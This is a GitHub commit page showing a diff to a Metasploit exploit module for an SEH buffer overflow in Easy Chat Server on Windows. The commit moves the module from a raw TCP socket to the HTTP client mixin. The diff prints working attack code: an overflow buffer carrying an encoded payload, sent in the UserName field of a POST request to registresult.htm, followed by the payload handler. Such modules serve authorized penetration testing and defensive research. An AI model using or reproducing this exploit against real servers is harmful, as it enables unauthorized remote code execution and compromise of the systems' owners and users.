Skip to content

Commit 66eb89e

Browse files
committed
Exploit now uses HTTP mixin
1 parent a886525 commit 66eb89e

File tree

1 file changed

+21
-8
lines changed

1 file changed

+21
-8
lines changed

modules/exploits/windows/http/easychatserver_seh.rb

Lines changed: 21 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -7,8 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
77

88
Rank = NormalRanking
99

10-
include Msf::Exploit::Remote::Tcp
11-
#include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::HttpClient
1211

1312
def initialize(info = {})
1413
super(update_info(info,
@@ -18,8 +17,8 @@ def initialize(info = {})
1817
},
1918
'Author' =>
2019
[
21-
'Aitezaz Mohsin', #POC
22-
'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit
20+
'Marco Rivoli', #Metasploit
21+
'Aitezaz Mohsin' #POC
2322
],
2423
'License' => MSF_LICENSE,
2524
'References' =>
@@ -52,10 +51,24 @@ def exploit
5251
sploit << payload.encoded
5352
sploit << rand_text_alpha_upper(200)
5453

55-
request = "POST /registresult.htm HTTP/1.1\r\n\r\nUserName=#{sploit}&Password=test&Password1=test&Sex=1&Email=x@&Icon=x.gif&Resume=xxxx&cw=1&RoomID=4&RepUserName=admin&submit1=Register"
56-
connect
57-
sock.put(request)
54+
res = send_request_cgi({
55+
'uri' => normalize_uri(URI,'registresult.htm'),
56+
'method' => 'POST',
57+
'vars_post' => {
58+
'UserName' => sploit,
59+
'Password' => 'test',
60+
'Password1' => 'test',
61+
'Sex' => 1,
62+
'Email' => 'x@',
63+
'Icon' => 'x.gif',
64+
'Resume' => 'xxxx',
65+
'cw' => 1,
66+
'RoomID' => 4,
67+
'RepUserName' => 'admin',
68+
'submit1' => 'Register'
69+
}
70+
})
5871
handler
59-
disconnect
72+
6073
end
6174
end

0 commit comments

Comments
 (0)